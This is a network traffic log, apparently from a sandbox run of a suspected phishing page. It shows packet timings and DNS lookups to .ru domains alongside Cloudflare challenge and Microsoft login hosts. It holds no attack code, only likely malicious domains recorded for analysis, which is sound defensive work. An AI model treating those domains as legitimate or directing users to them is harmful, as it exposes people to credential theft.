Jan 9, 2025 04:28:51.163785934 CET	443	49834	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:51.163845062 CET	443	49834	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:51.163899899 CET	49834	443	192.168.2.5	104.18.94.41
Jan 9, 2025 04:28:51.164733887 CET	49834	443	192.168.2.5	104.18.94.41
Jan 9, 2025 04:28:51.164747953 CET	443	49834	104.18.94.41	192.168.2.5
Jan 9, 2025 04:28:51.611835957 CET	443	49841	104.21.42.208	192.168.2.5
Jan 9, 2025 04:28:51.612209082 CET	49841	443	192.168.2.5	104.21.42.208
Jan 9, 2025 04:28:51.612221003 CET	443	49841	104.21.42.208	192.168.2.5
Jan 9, 2025 04:28:51.613209009 CET	443	49841	104.21.42.208	192.168.2.5
Jan 9, 2025 04:28:51.613271952 CET	49841	443	192.168.2.5	104.21.42.208
Jan 9, 2025 04:28:51.614360094 CET	49841	443	192.168.2.5	104.21.42.208
Jan 9, 2025 04:28:51.614433050 CET	443	49841	104.21.42.208	192.168.2.5
Jan 9, 2025 04:28:51.614579916 CET	49841	443	192.168.2.5	104.21.42.208
Jan 9, 2025 04:28:51.614588022 CET	443	49841	104.21.42.208	192.168.2.5
Jan 9, 2025 04:28:51.661628008 CET	49841	443	192.168.2.5	104.21.42.208
Jan 9, 2025 04:28:52.168473959 CET	443	49841	104.21.42.208	192.168.2.5
Jan 9, 2025 04:28:52.168565989 CET	443	49841	104.21.42.208	192.168.2.5
Jan 9, 2025 04:28:52.168617964 CET	49841	443	192.168.2.5	104.21.42.208
Jan 9, 2025 04:28:52.170005083 CET	49841	443	192.168.2.5	104.21.42.208
Jan 9, 2025 04:28:52.170018911 CET	443	49841	104.21.42.208	192.168.2.5
Jan 9, 2025 04:28:52.401973009 CET	49854	443	192.168.2.5	104.21.42.208
Jan 9, 2025 04:28:52.402004957 CET	443	49854	104.21.42.208	192.168.2.5
Jan 9, 2025 04:28:52.402174950 CET	49854	443	192.168.2.5	104.21.42.208
Jan 9, 2025 04:28:52.402355909 CET	49854	443	192.168.2.5	104.21.42.208
Jan 9, 2025 04:28:52.402365923 CET	443	49854	104.21.42.208	192.168.2.5
Jan 9, 2025 04:28:52.884768963 CET	443	49854	104.21.42.208	192.168.2.5
Jan 9, 2025 04:28:52.895236969 CET	49854	443	192.168.2.5	104.21.42.208
Jan 9, 2025 04:28:52.895246983 CET	443	49854	104.21.42.208	192.168.2.5
Jan 9, 2025 04:28:52.896390915 CET	443	49854	104.21.42.208	192.168.2.5
Jan 9, 2025 04:28:52.896457911 CET	49854	443	192.168.2.5	104.21.42.208
Jan 9, 2025 04:28:52.898502111 CET	49854	443	192.168.2.5	104.21.42.208
Jan 9, 2025 04:28:52.898530960 CET	49854	443	192.168.2.5	104.21.42.208
Jan 9, 2025 04:28:52.898587942 CET	443	49854	104.21.42.208	192.168.2.5
Jan 9, 2025 04:28:52.898794889 CET	443	49854	104.21.42.208	192.168.2.5
Jan 9, 2025 04:28:52.898840904 CET	49854	443	192.168.2.5	104.21.42.208
Jan 9, 2025 04:28:52.919332027 CET	49854	443	192.168.2.5	104.21.42.208
Jan 9, 2025 04:28:52.919348955 CET	443	49854	104.21.42.208	192.168.2.5
Jan 9, 2025 04:28:52.919358015 CET	49854	443	192.168.2.5	104.21.42.208
Jan 9, 2025 04:28:52.919395924 CET	49854	443	192.168.2.5	104.21.42.208
Jan 9, 2025 04:28:52.922853947 CET	49855	443	192.168.2.5	104.21.42.208
Jan 9, 2025 04:28:52.922905922 CET	443	49855	104.21.42.208	192.168.2.5
Jan 9, 2025 04:28:52.922966003 CET	49855	443	192.168.2.5	104.21.42.208
Jan 9, 2025 04:28:52.923193932 CET	49855	443	192.168.2.5	104.21.42.208
Jan 9, 2025 04:28:52.923207045 CET	443	49855	104.21.42.208	192.168.2.5
Jan 9, 2025 04:28:53.387571096 CET	443	49855	104.21.42.208	192.168.2.5
Jan 9, 2025 04:28:53.387830019 CET	49855	443	192.168.2.5	104.21.42.208
Jan 9, 2025 04:28:53.387844086 CET	443	49855	104.21.42.208	192.168.2.5
Jan 9, 2025 04:28:53.388920069 CET	443	49855	104.21.42.208	192.168.2.5
Jan 9, 2025 04:28:53.388986111 CET	49855	443	192.168.2.5	104.21.42.208
Jan 9, 2025 04:28:53.389496088 CET	49855	443	192.168.2.5	104.21.42.208
Jan 9, 2025 04:28:53.389576912 CET	443	49855	104.21.42.208	192.168.2.5
Jan 9, 2025 04:28:53.389667988 CET	49855	443	192.168.2.5	104.21.42.208
Jan 9, 2025 04:28:53.389673948 CET	443	49855	104.21.42.208	192.168.2.5
Jan 9, 2025 04:28:53.441417933 CET	49855	443	192.168.2.5	104.21.42.208
Jan 9, 2025 04:28:53.944564104 CET	443	49855	104.21.42.208	192.168.2.5
Jan 9, 2025 04:28:53.944684982 CET	443	49855	104.21.42.208	192.168.2.5
Jan 9, 2025 04:28:53.945298910 CET	49855	443	192.168.2.5	104.21.42.208
Jan 9, 2025 04:28:53.945528030 CET	49855	443	192.168.2.5	104.21.42.208
Jan 9, 2025 04:28:53.945545912 CET	443	49855	104.21.42.208	192.168.2.5
Jan 9, 2025 04:28:56.101675987 CET	443	49740	23.1.237.91	192.168.2.5
Jan 9, 2025 04:28:56.101756096 CET	49740	443	192.168.2.5	23.1.237.91
Jan 9, 2025 04:29:04.452411890 CET	49740	443	192.168.2.5	23.1.237.91
Jan 9, 2025 04:29:04.452428102 CET	443	49740	23.1.237.91	192.168.2.5
Jan 9, 2025 04:29:33.134464979 CET	50074	443	192.168.2.5	142.250.181.228
Jan 9, 2025 04:29:33.134522915 CET	443	50074	142.250.181.228	192.168.2.5
Jan 9, 2025 04:29:33.134613991 CET	50074	443	192.168.2.5	142.250.181.228
Jan 9, 2025 04:29:33.134845972 CET	50074	443	192.168.2.5	142.250.181.228
Jan 9, 2025 04:29:33.134856939 CET	443	50074	142.250.181.228	192.168.2.5
Jan 9, 2025 04:29:33.763137102 CET	443	50074	142.250.181.228	192.168.2.5
Jan 9, 2025 04:29:33.763444901 CET	50074	443	192.168.2.5	142.250.181.228
Jan 9, 2025 04:29:33.763459921 CET	443	50074	142.250.181.228	192.168.2.5
Jan 9, 2025 04:29:33.763827085 CET	443	50074	142.250.181.228	192.168.2.5
Jan 9, 2025 04:29:33.764138937 CET	50074	443	192.168.2.5	142.250.181.228
Jan 9, 2025 04:29:33.764219999 CET	443	50074	142.250.181.228	192.168.2.5
Jan 9, 2025 04:29:33.817568064 CET	50074	443	192.168.2.5	142.250.181.228
Jan 9, 2025 04:29:43.680879116 CET	443	50074	142.250.181.228	192.168.2.5
Jan 9, 2025 04:29:43.680947065 CET	443	50074	142.250.181.228	192.168.2.5
Jan 9, 2025 04:29:43.680995941 CET	50074	443	192.168.2.5	142.250.181.228
Jan 9, 2025 04:29:43.726171970 CET	50074	443	192.168.2.5	142.250.181.228
Jan 9, 2025 04:29:43.726200104 CET	443	50074	142.250.181.228	192.168.2.5
Jan 9, 2025 04:30:33.194617987 CET	50082	443	192.168.2.5	142.250.181.228
Jan 9, 2025 04:30:33.194683075 CET	443	50082	142.250.181.228	192.168.2.5
Jan 9, 2025 04:30:33.194780111 CET	50082	443	192.168.2.5	142.250.181.228
Jan 9, 2025 04:30:33.195075035 CET	50082	443	192.168.2.5	142.250.181.228
Jan 9, 2025 04:30:33.195086956 CET	443	50082	142.250.181.228	192.168.2.5
Jan 9, 2025 04:30:33.844121933 CET	443	50082	142.250.181.228	192.168.2.5
Jan 9, 2025 04:30:33.844533920 CET	50082	443	192.168.2.5	142.250.181.228
Jan 9, 2025 04:30:33.844567060 CET	443	50082	142.250.181.228	192.168.2.5
Jan 9, 2025 04:30:33.844871044 CET	443	50082	142.250.181.228	192.168.2.5
Jan 9, 2025 04:30:33.845180035 CET	50082	443	192.168.2.5	142.250.181.228
Jan 9, 2025 04:30:33.845269918 CET	443	50082	142.250.181.228	192.168.2.5
Jan 9, 2025 04:30:33.896472931 CET	50082	443	192.168.2.5	142.250.181.228
Jan 9, 2025 04:30:43.732584953 CET	443	50082	142.250.181.228	192.168.2.5
Jan 9, 2025 04:30:43.732655048 CET	443	50082	142.250.181.228	192.168.2.5
Jan 9, 2025 04:30:43.732808113 CET	50082	443	192.168.2.5	142.250.181.228
Jan 9, 2025 04:30:45.396930933 CET	50082	443	192.168.2.5	142.250.181.228
Jan 9, 2025 04:30:45.396976948 CET	443	50082	142.250.181.228	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 9, 2025 04:28:29.556874037 CET	53	56502	1.1.1.1	192.168.2.5
Jan 9, 2025 04:28:29.563472033 CET	52539	53	192.168.2.5	1.1.1.1
Jan 9, 2025 04:28:29.563615084 CET	64100	53	192.168.2.5	1.1.1.1
Jan 9, 2025 04:28:29.569545031 CET	53	55815	1.1.1.1	192.168.2.5
Jan 9, 2025 04:28:29.573873997 CET	53	52539	1.1.1.1	192.168.2.5
Jan 9, 2025 04:28:29.573884964 CET	53	64100	1.1.1.1	192.168.2.5
Jan 9, 2025 04:28:30.517679930 CET	64869	53	192.168.2.5	1.1.1.1
Jan 9, 2025 04:28:30.517874956 CET	59636	53	192.168.2.5	1.1.1.1
Jan 9, 2025 04:28:30.519304037 CET	64353	53	192.168.2.5	1.1.1.1
Jan 9, 2025 04:28:30.519481897 CET	55885	53	192.168.2.5	1.1.1.1
Jan 9, 2025 04:28:30.524528027 CET	53	64869	1.1.1.1	192.168.2.5
Jan 9, 2025 04:28:30.524557114 CET	53	59636	1.1.1.1	192.168.2.5
Jan 9, 2025 04:28:30.526247978 CET	53	64353	1.1.1.1	192.168.2.5
Jan 9, 2025 04:28:30.529618025 CET	53	55885	1.1.1.1	192.168.2.5
Jan 9, 2025 04:28:30.583132029 CET	53	53798	1.1.1.1	192.168.2.5
Jan 9, 2025 04:28:31.995790958 CET	51723	53	192.168.2.5	1.1.1.1
Jan 9, 2025 04:28:31.995937109 CET	50759	53	192.168.2.5	1.1.1.1
Jan 9, 2025 04:28:32.048324108 CET	53	50759	1.1.1.1	192.168.2.5
Jan 9, 2025 04:28:32.099059105 CET	53	51723	1.1.1.1	192.168.2.5
Jan 9, 2025 04:28:32.116568089 CET	57376	53	192.168.2.5	1.1.1.1
Jan 9, 2025 04:28:32.116906881 CET	57116	53	192.168.2.5	1.1.1.1
Jan 9, 2025 04:28:32.124110937 CET	53	57376	1.1.1.1	192.168.2.5
Jan 9, 2025 04:28:32.124413013 CET	53	57116	1.1.1.1	192.168.2.5
Jan 9, 2025 04:28:33.069308996 CET	51252	53	192.168.2.5	1.1.1.1
Jan 9, 2025 04:28:33.069571018 CET	61955	53	192.168.2.5	1.1.1.1
Jan 9, 2025 04:28:33.077982903 CET	53	51252	1.1.1.1	192.168.2.5
Jan 9, 2025 04:28:33.077996969 CET	53	61955	1.1.1.1	192.168.2.5
Jan 9, 2025 04:28:33.640933037 CET	63150	53	192.168.2.5	1.1.1.1
Jan 9, 2025 04:28:33.641138077 CET	54525	53	192.168.2.5	1.1.1.1
Jan 9, 2025 04:28:33.641638041 CET	53403	53	192.168.2.5	1.1.1.1
Jan 9, 2025 04:28:33.641802073 CET	59423	53	192.168.2.5	1.1.1.1
Jan 9, 2025 04:28:33.642157078 CET	52217	53	192.168.2.5	1.1.1.1
Jan 9, 2025 04:28:33.642283916 CET	58715	53	192.168.2.5	1.1.1.1
Jan 9, 2025 04:28:33.648133039 CET	53	63150	1.1.1.1	192.168.2.5
Jan 9, 2025 04:28:33.648264885 CET	53	54525	1.1.1.1	192.168.2.5
Jan 9, 2025 04:28:33.649432898 CET	53	53403	1.1.1.1	192.168.2.5
Jan 9, 2025 04:28:33.649446011 CET	53	52217	1.1.1.1	192.168.2.5
Jan 9, 2025 04:28:33.649764061 CET	53	58715	1.1.1.1	192.168.2.5
Jan 9, 2025 04:28:33.651702881 CET	53	59423	1.1.1.1	192.168.2.5
Jan 9, 2025 04:28:34.440431118 CET	52116	53	192.168.2.5	1.1.1.1
Jan 9, 2025 04:28:34.440720081 CET	61493	53	192.168.2.5	1.1.1.1
Jan 9, 2025 04:28:34.447055101 CET	53	52116	1.1.1.1	192.168.2.5
Jan 9, 2025 04:28:34.447242022 CET	53	61493	1.1.1.1	192.168.2.5
Jan 9, 2025 04:28:34.797461987 CET	53	54536	1.1.1.1	192.168.2.5
Jan 9, 2025 04:28:35.077815056 CET	60306	53	192.168.2.5	1.1.1.1
Jan 9, 2025 04:28:35.078289032 CET	63835	53	192.168.2.5	1.1.1.1
Jan 9, 2025 04:28:35.085452080 CET	53	63835	1.1.1.1	192.168.2.5
Jan 9, 2025 04:28:35.085464954 CET	53	60306	1.1.1.1	192.168.2.5
Jan 9, 2025 04:28:35.096893072 CET	57913	53	192.168.2.5	1.1.1.1
Jan 9, 2025 04:28:35.097265005 CET	56078	53	192.168.2.5	1.1.1.1
Jan 9, 2025 04:28:35.113863945 CET	53	57913	1.1.1.1	192.168.2.5
Jan 9, 2025 04:28:35.113882065 CET	53	56078	1.1.1.1	192.168.2.5
Jan 9, 2025 04:28:37.076062918 CET	59204	53	192.168.2.5	1.1.1.1
Jan 9, 2025 04:28:37.076226950 CET	63945	53	192.168.2.5	1.1.1.1
Jan 9, 2025 04:28:37.082931042 CET	53	63945	1.1.1.1	192.168.2.5
Jan 9, 2025 04:28:37.083008051 CET	53	59204	1.1.1.1	192.168.2.5
Jan 9, 2025 04:28:47.734179974 CET	53	51038	1.1.1.1	192.168.2.5
Jan 9, 2025 04:28:50.545757055 CET	50480	53	192.168.2.5	1.1.1.1
Jan 9, 2025 04:28:50.546108961 CET	59181	53	192.168.2.5	1.1.1.1
Jan 9, 2025 04:28:50.640347958 CET	53	59181	1.1.1.1	192.168.2.5
Jan 9, 2025 04:28:50.640798092 CET	53	50480	1.1.1.1	192.168.2.5
Jan 9, 2025 04:28:52.181850910 CET	55595	53	192.168.2.5	1.1.1.1
Jan 9, 2025 04:28:52.182008982 CET	62872	53	192.168.2.5	1.1.1.1
Jan 9, 2025 04:28:52.202346087 CET	58458	53	192.168.2.5	1.1.1.1
Jan 9, 2025 04:28:52.202495098 CET	61954	53	192.168.2.5	1.1.1.1
Jan 9, 2025 04:28:52.301794052 CET	53	61954	1.1.1.1	192.168.2.5
Jan 9, 2025 04:28:52.401302099 CET	53	58458	1.1.1.1	192.168.2.5
Jan 9, 2025 04:28:53.235085011 CET	56842	53	192.168.2.5	1.1.1.1
Jan 9, 2025 04:28:53.235238075 CET	64853	53	192.168.2.5	1.1.1.1
Jan 9, 2025 04:28:53.274858952 CET	53	64853	1.1.1.1	192.168.2.5
Jan 9, 2025 04:28:55.547266006 CET	59027	53	192.168.2.5	1.1.1.1
Jan 9, 2025 04:28:55.547653913 CET	60590	53	192.168.2.5	1.1.1.1
Jan 9, 2025 04:28:55.577155113 CET	53	60590	1.1.1.1	192.168.2.5
Jan 9, 2025 04:28:56.627635002 CET	57661	53	192.168.2.5	1.1.1.1
Jan 9, 2025 04:28:56.627981901 CET	52661	53	192.168.2.5	1.1.1.1
Jan 9, 2025 04:28:56.634393930 CET	53	57661	1.1.1.1	192.168.2.5
Jan 9, 2025 04:28:56.635059118 CET	53	52661	1.1.1.1	192.168.2.5
Jan 9, 2025 04:29:02.340677977 CET	53	50499	1.1.1.1	192.168.2.5
Jan 9, 2025 04:29:07.047132015 CET	53	59158	1.1.1.1	192.168.2.5
Jan 9, 2025 04:29:12.547794104 CET	62833	53	192.168.2.5	1.1.1.1
Jan 9, 2025 04:29:12.547975063 CET	55178	53	192.168.2.5	1.1.1.1
Jan 9, 2025 04:29:28.937271118 CET	53	59928	1.1.1.1	192.168.2.5
Jan 9, 2025 04:29:29.967230082 CET	53	56074	1.1.1.1	192.168.2.5
Jan 9, 2025 04:29:37.086247921 CET	54606	53	192.168.2.5	1.1.1.1
Jan 9, 2025 04:29:37.086385965 CET	56745	53	192.168.2.5	1.1.1.1
Jan 9, 2025 04:29:59.626930952 CET	53	50680	1.1.1.1	192.168.2.5
Jan 9, 2025 04:30:45.404666901 CET	53	62748	1.1.1.1	192.168.2.5
Jan 9, 2025 04:31:37.116384983 CET	59330	53	192.168.2.5	1.1.1.1
Jan 9, 2025 04:31:37.116539001 CET	61673	53	192.168.2.5	1.1.1.1

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Jan 9, 2025 04:28:53.274926901 CET	192.168.2.5	1.1.1.1	c26c	(Port unreachable)	Destination Unreachable
Jan 9, 2025 04:28:54.423147917 CET	192.168.2.5	1.1.1.1	c2dd	(Port unreachable)	Destination Unreachable
Jan 9, 2025 04:28:55.577210903 CET	192.168.2.5	1.1.1.1	c26c	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 9, 2025 04:28:29.563472033 CET	192.168.2.5	1.1.1.1	0x24ec	Standard query (0)	ecohomethings.net	A (IP address)	IN (0x0001)	false
Jan 9, 2025 04:28:29.563615084 CET	192.168.2.5	1.1.1.1	0x5fba	Standard query (0)	ecohomethings.net	65	IN (0x0001)	false
Jan 9, 2025 04:28:30.517679930 CET	192.168.2.5	1.1.1.1	0x7bf8	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 9, 2025 04:28:30.517874956 CET	192.168.2.5	1.1.1.1	0x5793	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Jan 9, 2025 04:28:30.519304037 CET	192.168.2.5	1.1.1.1	0x72fe	Standard query (0)	ecohomethings.net	A (IP address)	IN (0x0001)	false
Jan 9, 2025 04:28:30.519481897 CET	192.168.2.5	1.1.1.1	0xb484	Standard query (0)	ecohomethings.net	65	IN (0x0001)	false
Jan 9, 2025 04:28:31.995790958 CET	192.168.2.5	1.1.1.1	0x312e	Standard query (0)	cciq.absousium.ru	A (IP address)	IN (0x0001)	false
Jan 9, 2025 04:28:31.995937109 CET	192.168.2.5	1.1.1.1	0x7d58	Standard query (0)	cciq.absousium.ru	65	IN (0x0001)	false
Jan 9, 2025 04:28:32.116568089 CET	192.168.2.5	1.1.1.1	0x1227	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 9, 2025 04:28:32.116906881 CET	192.168.2.5	1.1.1.1	0x5cfe	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Jan 9, 2025 04:28:33.069308996 CET	192.168.2.5	1.1.1.1	0x3140	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jan 9, 2025 04:28:33.069571018 CET	192.168.2.5	1.1.1.1	0xbc83	Standard query (0)	www.google.com	65	IN (0x0001)	false
Jan 9, 2025 04:28:33.640933037 CET	192.168.2.5	1.1.1.1	0x371d	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Jan 9, 2025 04:28:33.641138077 CET	192.168.2.5	1.1.1.1	0x5397	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Jan 9, 2025 04:28:33.641638041 CET	192.168.2.5	1.1.1.1	0xa870	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 9, 2025 04:28:33.641802073 CET	192.168.2.5	1.1.1.1	0xfd53	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Jan 9, 2025 04:28:33.642157078 CET	192.168.2.5	1.1.1.1	0xf85c	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 9, 2025 04:28:33.642283916 CET	192.168.2.5	1.1.1.1	0x1f3	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Jan 9, 2025 04:28:34.440431118 CET	192.168.2.5	1.1.1.1	0x7534	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Jan 9, 2025 04:28:34.440720081 CET	192.168.2.5	1.1.1.1	0x5652	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Jan 9, 2025 04:28:35.077815056 CET	192.168.2.5	1.1.1.1	0xf557	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 9, 2025 04:28:35.078289032 CET	192.168.2.5	1.1.1.1	0x763f	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Jan 9, 2025 04:28:35.096893072 CET	192.168.2.5	1.1.1.1	0xc204	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 9, 2025 04:28:35.097265005 CET	192.168.2.5	1.1.1.1	0xeaf6	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Jan 9, 2025 04:28:37.076062918 CET	192.168.2.5	1.1.1.1	0xb442	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 9, 2025 04:28:37.076226950 CET	192.168.2.5	1.1.1.1	0xf319	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Jan 9, 2025 04:28:50.545757055 CET	192.168.2.5	1.1.1.1	0xdd94	Standard query (0)	ckfucbnuq45xxm9wui64hmdaejy0efptehhe0wi6bqhtcqedccnms0dm.ivertoneym.ru	A (IP address)	IN (0x0001)	false
Jan 9, 2025 04:28:50.546108961 CET	192.168.2.5	1.1.1.1	0x3ce4	Standard query (0)	ckfucbnuq45xxm9wui64hmdaejy0efptehhe0wi6bqhtcqedccnms0dm.ivertoneym.ru	65	IN (0x0001)	false
Jan 9, 2025 04:28:52.181850910 CET	192.168.2.5	1.1.1.1	0xd62e	Standard query (0)	login.microsoftonline.com	A (IP address)	IN (0x0001)	false
Jan 9, 2025 04:28:52.182008982 CET	192.168.2.5	1.1.1.1	0xd7a	Standard query (0)	login.microsoftonline.com	65	IN (0x0001)	false
Jan 9, 2025 04:28:52.202346087 CET	192.168.2.5	1.1.1.1	0x4146	Standard query (0)	ckfucbnuq45xxm9wui64hmdaejy0efptehhe0wi6bqhtcqedccnms0dm.ivertoneym.ru	A (IP address)	IN (0x0001)	false
Jan 9, 2025 04:28:52.202495098 CET	192.168.2.5	1.1.1.1	0xda3a	Standard query (0)	ckfucbnuq45xxm9wui64hmdaejy0efptehhe0wi6bqhtcqedccnms0dm.ivertoneym.ru	65	IN (0x0001)	false
Jan 9, 2025 04:28:53.235085011 CET	192.168.2.5	1.1.1.1	0x21de	Standard query (0)	www.office.com	A (IP address)	IN (0x0001)	false
Jan 9, 2025 04:28:53.235238075 CET	192.168.2.5	1.1.1.1	0xcd78	Standard query (0)	www.office.com	65	IN (0x0001)	false
Jan 9, 2025 04:28:55.547266006 CET	192.168.2.5	1.1.1.1	0x590f	Standard query (0)	www.office.com	A (IP address)	IN (0x0001)	false
Jan 9, 2025 04:28:55.547653913 CET	192.168.2.5	1.1.1.1	0x76a9	Standard query (0)	www.office.com	65	IN (0x0001)	false
Jan 9, 2025 04:28:56.627635002 CET	192.168.2.5	1.1.1.1	0x8ce2	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Jan 9, 2025 04:28:56.627981901 CET	192.168.2.5	1.1.1.1	0x518f	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
Jan 9, 2025 04:29:12.547794104 CET	192.168.2.5	1.1.1.1	0x3a90	Standard query (0)	login.microsoftonline.com	A (IP address)	IN (0x0001)	false
Jan 9, 2025 04:29:12.547975063 CET	192.168.2.5	1.1.1.1	0x5bc4	Standard query (0)	login.microsoftonline.com	65	IN (0x0001)	false
Jan 9, 2025 04:29:37.086247921 CET	192.168.2.5	1.1.1.1	0xd08e	Standard query (0)	identity.nel.measure.office.net	A (IP address)	IN (0x0001)	false
Jan 9, 2025 04:29:37.086385965 CET	192.168.2.5	1.1.1.1	0x14ce	Standard query (0)	identity.nel.measure.office.net	65	IN (0x0001)	false
Jan 9, 2025 04:31:37.116384983 CET	192.168.2.5	1.1.1.1	0xbb0	Standard query (0)	identity.nel.measure.office.net	A (IP address)	IN (0x0001)	false
Jan 9, 2025 04:31:37.116539001 CET	192.168.2.5	1.1.1.1	0xa220	Standard query (0)	identity.nel.measure.office.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 9, 2025 04:28:29.573873997 CET	1.1.1.1	192.168.2.5	0x24ec	No error (0)	ecohomethings.net		103.83.194.55	A (IP address)	IN (0x0001)	false
Jan 9, 2025 04:28:30.524528027 CET	1.1.1.1	192.168.2.5	0x7bf8	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Jan 9, 2025 04:28:30.524528027 CET	1.1.1.1	192.168.2.5	0x7bf8	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Jan 9, 2025 04:28:30.524557114 CET	1.1.1.1	192.168.2.5	0x5793	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Jan 9, 2025 04:28:30.526247978 CET	1.1.1.1	192.168.2.5	0x72fe	No error (0)	ecohomethings.net		103.83.194.55	A (IP address)	IN (0x0001)	false
Jan 9, 2025 04:28:32.048324108 CET	1.1.1.1	192.168.2.5	0x7d58	No error (0)	cciq.absousium.ru			65	IN (0x0001)	false
Jan 9, 2025 04:28:32.099059105 CET	1.1.1.1	192.168.2.5	0x312e	No error (0)	cciq.absousium.ru		104.21.16.1	A (IP address)	IN (0x0001)	false
Jan 9, 2025 04:28:32.099059105 CET	1.1.1.1	192.168.2.5	0x312e	No error (0)	cciq.absousium.ru		104.21.32.1	A (IP address)	IN (0x0001)	false
Jan 9, 2025 04:28:32.099059105 CET	1.1.1.1	192.168.2.5	0x312e	No error (0)	cciq.absousium.ru		104.21.96.1	A (IP address)	IN (0x0001)	false
Jan 9, 2025 04:28:32.099059105 CET	1.1.1.1	192.168.2.5	0x312e	No error (0)	cciq.absousium.ru		104.21.112.1	A (IP address)	IN (0x0001)	false
Jan 9, 2025 04:28:32.099059105 CET	1.1.1.1	192.168.2.5	0x312e	No error (0)	cciq.absousium.ru		104.21.64.1	A (IP address)	IN (0x0001)	false
Jan 9, 2025 04:28:32.099059105 CET	1.1.1.1	192.168.2.5	0x312e	No error (0)	cciq.absousium.ru		104.21.48.1	A (IP address)	IN (0x0001)	false
Jan 9, 2025 04:28:32.099059105 CET	1.1.1.1	192.168.2.5	0x312e	No error (0)	cciq.absousium.ru		104.21.80.1	A (IP address)	IN (0x0001)	false
Jan 9, 2025 04:28:32.124110937 CET	1.1.1.1	192.168.2.5	0x1227	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Jan 9, 2025 04:28:32.124110937 CET	1.1.1.1	192.168.2.5	0x1227	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Jan 9, 2025 04:28:32.124413013 CET	1.1.1.1	192.168.2.5	0x5cfe	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Jan 9, 2025 04:28:33.077982903 CET	1.1.1.1	192.168.2.5	0x3140	No error (0)	www.google.com		142.250.181.228	A (IP address)	IN (0x0001)	false
Jan 9, 2025 04:28:33.077996969 CET	1.1.1.1	192.168.2.5	0xbc83	No error (0)	www.google.com			65	IN (0x0001)	false
Jan 9, 2025 04:28:33.648133039 CET	1.1.1.1	192.168.2.5	0x371d	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Jan 9, 2025 04:28:33.648133039 CET	1.1.1.1	192.168.2.5	0x371d	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Jan 9, 2025 04:28:33.648133039 CET	1.1.1.1	192.168.2.5	0x371d	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Jan 9, 2025 04:28:33.648133039 CET	1.1.1.1	192.168.2.5	0x371d	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Jan 9, 2025 04:28:33.649432898 CET	1.1.1.1	192.168.2.5	0xa870	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Jan 9, 2025 04:28:33.649432898 CET	1.1.1.1	192.168.2.5	0xa870	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Jan 9, 2025 04:28:33.649446011 CET	1.1.1.1	192.168.2.5	0xf85c	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Jan 9, 2025 04:28:33.649446011 CET	1.1.1.1	192.168.2.5	0xf85c	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Jan 9, 2025 04:28:33.649764061 CET	1.1.1.1	192.168.2.5	0x1f3	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Jan 9, 2025 04:28:33.651702881 CET	1.1.1.1	192.168.2.5	0xfd53	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Jan 9, 2025 04:28:34.447055101 CET	1.1.1.1	192.168.2.5	0x7534	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Jan 9, 2025 04:28:34.447055101 CET	1.1.1.1	192.168.2.5	0x7534	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Jan 9, 2025 04:28:34.447055101 CET	1.1.1.1	192.168.2.5	0x7534	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Jan 9, 2025 04:28:34.447055101 CET	1.1.1.1	192.168.2.5	0x7534	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Jan 9, 2025 04:28:35.085452080 CET	1.1.1.1	192.168.2.5	0x763f	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
